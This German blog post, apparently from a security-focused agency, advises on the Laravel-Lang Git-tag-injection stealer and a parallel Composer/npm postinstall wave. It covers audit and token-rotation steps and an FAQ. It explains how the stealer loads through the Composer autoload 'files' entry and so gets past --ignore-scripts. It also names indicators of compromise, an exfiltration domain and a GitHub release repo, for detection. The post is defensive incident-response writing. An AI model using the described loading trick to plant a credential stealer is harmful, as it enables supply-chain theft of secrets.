Enterprise (mit Multi-Mandanten-Builds)

Zentrales SBOM-Audit über alle Mandanten gegen die Aikido-Versionsliste, Build-Agent-Pool-Inventur auf Marker-Files, Token-Audit-Logs der Cloud-Anbieter auf ungewöhnliche AssumeRole-/GetSessionToken-/iam:*-Aktivität seit dem 22. Mai 2026. Vault-Tokens mit Audit-Log-Aktivität rotieren. Parallel: package.json-Inventur in Composer-Vendor-Bäumen (Socket-Pattern) und .github/workflows/*.yml-Scan auf das gleiche Shell-Command-Pattern.

Kubernetes / containerisierte Setups

Wenn ein Build-Agent mit kubeconfig-Zugriff betroffen war: alle kubeconfigs auf dem Agenten als kompromittiert behandeln, betroffene Service-Account-Tokens im Cluster rotieren, Audit-Log auf ungewöhnliche API-Calls seit dem 22. Mai prüfen.

Deklarative Stacks (NixOS, Talos, Flatcar mit Wolfi-Images)

Image-Rebuild gegen ein bereinigtes composer.lock, neuer Image-Tag, gestaffelter Rollout. Die Pull-Schicht der Wolfi-Images ist signaturgeprüft, aber die Build-Schicht innerhalb des Images, die composer install fährt, ist genauso anfällig wie jede andere Composer-Build-Schicht.

Stand 23. Mai 2026 abends: nach Erscheinen des Aikido-Reports haben wir alle Composer-Update-Pipelines auf den Laravel-Projekten ausgesetzt — Renovate-Auto-Merge dort angehalten, geplante Wartungsfenster-Pulls verschoben. Laravel kommt bei uns nur in kleineren Projekten zum Einsatz, das macht den Auditing-Umfang überschaubar.

Der Audit ist durchgelaufen, mit negativem Befund:

Composer-Updates für die Laravel-Projekte bleiben vorerst weiter ausgesetzt, bis eine vollständige Versions-Liste der manipulierten Tags (Aikido Intel Feed oder GHSA-Advisory) publiziert ist und Friends-Of-PHP die Welle in composer audit abdeckt. Renovate-Auto-Merge wird frühestens danach reaktiviert; ein gezielter manueller Update-Lauf im Wartungsfenster ist denkbar, wenn vorher die genaue Range der zurückgezogenen Versionen feststeht.

Strukturhinweis aus diesem Vorfall: die Tag-Injection-Methode ist neu in der Composer-Welt (im npm-Universum gab es vergleichbare Pattern in 2025). Anders als bei klassischen Maintainer-Account-Übernahmen reicht Code-Review nicht — die Auflösung von Tag → Commit-Hash → Tree-Membership muss verifiziert werden. Das ist heute in der Standard-Composer-Pipeline nicht automatisiert. Eine zentrale, sprachübergreifende Konvention zu erzwingen, dass Tags nur auf Commits aus dem Default-Branch des offiziellen Repos zeigen dürfen, wäre eine strukturelle Antwort — sie liegt bei GitHub und den Paketmanager-Registries, nicht bei den einzelnen Maintainern.

Reflektion über das eigene Vorgehen: Moselwal untersucht im Nachgang dieses Vorfalls, ob bei der Paket- und Extension-Entwicklung die Regel „Libraries tracken kein Lockfile“ noch angemessen ist. Composer-Tradition (und npm-Tradition) ist es, dass Libraries kein composer.lock bzw. package-lock.json im Git mitführen — die Lock-Datei wird pro Application gepflegt, nicht pro Library, weil Constraint-Ranges ohnehin auf der konsumierenden Seite aufgelöst werden. Der Laravel-Lang-Vorfall zeigt allerdings: in einer Welt, in der Tag-Injection auf der GitHub-Schicht möglich ist und Composer-Caches die Tarball-Hashes nicht erneut gegen den Repo-Stand validieren, ist Lockfile-Hash-Pinning auf Application-Ebene die zuverlässigste Bremse — und ein Library-Repository, das selbst kein nachvollziehbares Lockfile pflegt, kann seinen eigenen produktiv getesteten Dependency-Stand nicht eindeutig dokumentieren. Wir prüfen die Frage offen, ohne vorgefasste Antwort: für Anwendungen bleibt die Regel klar (Lockfile mit Integrity-Hash committen), für unsere eigenen Libraries und TYPO3-Extensions ist die Linie konventionsbedingt anders, und der Vorfall ist Anlass, diese Linie kritisch zu hinterfragen.

Häufige Fragen zur Laravel-Lang-Tag-Injection und zur Postinstall-Welle

Gibt es Hinweise auf einen Worm-Charakter (analog Shai-Hulud)?+

Nein. Der Laravel-Lang-Stealer sammelt und exfiltriert, aber er propagiert sich nicht selbst. Die GitHub-Tag-Injection ist die ursprüngliche Eintritts-Methode; eine Re-Injection in andere Repositories über die gestohlenen Tokens wäre denkbar, ist aber Stand 23. Mai nicht beobachtet worden. Auch die Socket-Welle (700+ postinstall-Treffer) zeigt nach aktuellem Stand kein Self-Propagation-Verhalten — die Verteilung ist parallel-streut, nicht worm-getrieben.

Hat Aikido die volle Versionsliste der 233 Tags veröffentlicht?+

Der Aikido-Blog-Post enthält keinen vollständigen Versions-Dump als Anhang, aber die kompromittierten Tags lassen sich über den Aikido Intel-Feed und über die Tag-History der drei Repositories vor dem Packagist-Take-Down rekonstruieren. Im Zweifel: SBOM-Abgleich gegen ein bekannt-sauberes Lockfile von vor dem 22. Mai 2026.

Was passiert, wenn die Maintainer die manipulierten Tags löschen?+

Packagist hat die Pakete bereits temporär ausgelistet und die manipulierten Versionen weggenommen. Die Maintainer werden vermutlich saubere Re-Releases mit neuen Versionsnummern publizieren. Bis dahin sollte die Composer-Constraint-Range für die drei Pakete explizit auf eine bekannte-saubere Version unterhalb des Welle-Fensters gepinnt sein, nicht auf einen offenen Caret-Range.

Unsere composer.lock zeigt eine Laravel-Lang-Version von Januar 2026. Sind wir trotzdem betroffen?+

Nicht, wenn die Pipeline seit Januar nicht composer update gefahren hat und das Lockfile-Hash-Pinning gegen die Tarball-shasum aus Januar greift. Wenn ein composer install zwischen 22. Mai und dem Packagist-Take-Down stattgefunden hat, kann allerdings der lokale Composer-Cache eine kompromittierte Version enthalten — dann hilft auch das alte Lockfile nicht, weil der Cache-Pull die shasum nicht erneut validiert. Cache leeren und neu installieren.

Wir nutzen Laravel Core ohne Laravel-Lang. Sind wir betroffen?+

Nein. Laravel-Lang ist ein optionales Community-Paket für erweiterte Übersetzungen (Validierungs-Nachrichten, HTTP-Statuses, Attribute-Namen). Laravel-Core bringt eigene Sprachfiles mit und ist nicht von der Tag-Injection betroffen. composer show | grep laravel-lang/ zeigt, ob eines der drei Pakete im eigenen Tree ist.

Reicht composer install --ignore-scripts, um den Stealer zu blocken?+

Nein. Der Stealer hängt nicht an pre-install-/post-install-Scripts, sondern an der Composer-Autoload-files-Eintragung in composer.json von laravel-lang/lang. Sobald die Anwendung vendor/autoload.php lädt — was praktisch immer beim Bootstrap passiert — wird src/helpers.php und damit der self-executing Code-Block geladen. --ignore-scripts blockt das nicht. Für die Socket-Welle (postinstall in package.json) gilt umgekehrt: --ignore-scripts würde dort tatsächlich blocken, aber nur wenn der Composer-Install den npm-Hook tatsächlich ausführt — das passiert nur, wenn das Composer-Paket parallel als Node-Modul mit npm install verarbeitet wird.

Die Laravel-Lang-Tag-Injection ist nicht der größte Composer-Vorfall der letzten Wochen — die intercom-php-Welle Ende April hatte mit über 20 Millionen Lifetime-Installs die breitere Reichweite, und die npm-Shai-Hulud-Reihe spielt durch ihre Worm-Mechanik ohnehin in einer anderen Liga. Aber sie ist strukturell besonders aufschlussreich: der erwartete Repository-Zustand kann sauber wirken, während die Manipulation über rewritten Git-Tags und die anschließend von Packagist ausgelieferte Referenz in die Supply Chain gelangt. Der Trigger ist nicht zwingend ein expliziter Lifecycle-Hook, sondern kann die normale Composer-Autoload-Schicht sein. Wer bisher composer install --ignore-scripts als ausreichende Schutzlinie gegen Supply-Chain-Angriffe verstanden hat, hat jetzt einen ziemlich klaren Datenpunkt, dass diese Annahme zu eng ist.

Der parallele Socket-Vorfall vom selben Tag verschärft das Bild von einer anderen Seite. Während Laravel-Lang die Tag-Auflösungs-Schicht zwischen GitHub und Packagist anfasst, treffen die acht von Socket gemeldeten Composer-Pakete den Branch-Tracking-Mechanismus — dev-main, dev-master, 3.x-dev als Versionen, die per Definition nicht immutable sind, plus den Cross-Ecosystem-Reviewer-Blindspot: malicious code in package.json, nicht in composer.json. Dass dasselbe Payload-Pattern in .github/workflows/*.yml-Files reproduziert wurde, ist die dritte Schicht. Beide Vorfälle sind keine unabhängigen Einzelfälle, sondern zwei Spielarten desselben Strukturproblems: das Composer-Vertrauensmodell stützt sich auf die ausgelieferte Referenz, nicht auf eine kryptografisch unveränderliche Versionsbindung. Solange diese Schicht nicht repariert ist, bleibt Lockfile-Hash-Pinning auf Application-Seite die zuverlässigste Bremse — und genau hier setzt die Reflektion an, ob die Konvention „Libraries tracken kein Lockfile“ in der eigenen Paket- und Extension-Entwicklung noch angemessen ist.

Bevor die n&auml;chste Tag-Injection oder Postinstall-Welle trifft

Laravel-/Composer-Plattformen gegen die Tag-Injection-Welle und die Postinstall-Welle absichern?

Wir prüfen, mitigieren und validieren produktive Composer-Plattformen gegen die Laravel-Lang-Tag-Injection und gegen den parallelen Socket-Vorfall — SBOM-Abgleich gegen die Aikido-Versionsliste und die acht Socket-Pakete, Pull-Fenster-Audit pro Mandant, Composer-Cache-Inventur auf Build-Agenten, Cross-Ecosystem-Check (package.json in Composer-Vendor-Bäumen, .github/workflows/*.yml-Scan), Credential-Rotation-Plan, Lockfile-Rollback auf bekannt-sauberen Stand, Falco-/Tetragon-Telemetrie für DNS-Auflösungen auf flipboxstudio.info und auf GitHub-Releases von parikhpreyash4/systemd-network-helper-aa5c751f. Solange die Maintainer-Seite die Tag-Auflösung noch aufräumt, fahren wir keine Auto-Merges.

Plattformbetrieb statt Beratung auf Papier: wir übernehmen den Audit über mehrere Mandanten und die Detection-Schicht, oder begleiten das eigene Team beim ersten Durchlauf. Cross-Reference zu DevSecOps-Services und CMS-Plattformbetrieb.

Termin direkt vereinbaren

Über den Autor

Foto von Kai Ole Hartwig.

Kai Ole Hartwig

Founder · Moselwal Digitalagentur · OnlyOle

Programmiert seit 2002 – autodidaktisch gelernt, 2012 mit KO-Web selbständig gemacht, heute Moselwal. Über 100 Projekte, Fokus auf Security, Performance, Automatisierung und Qualität.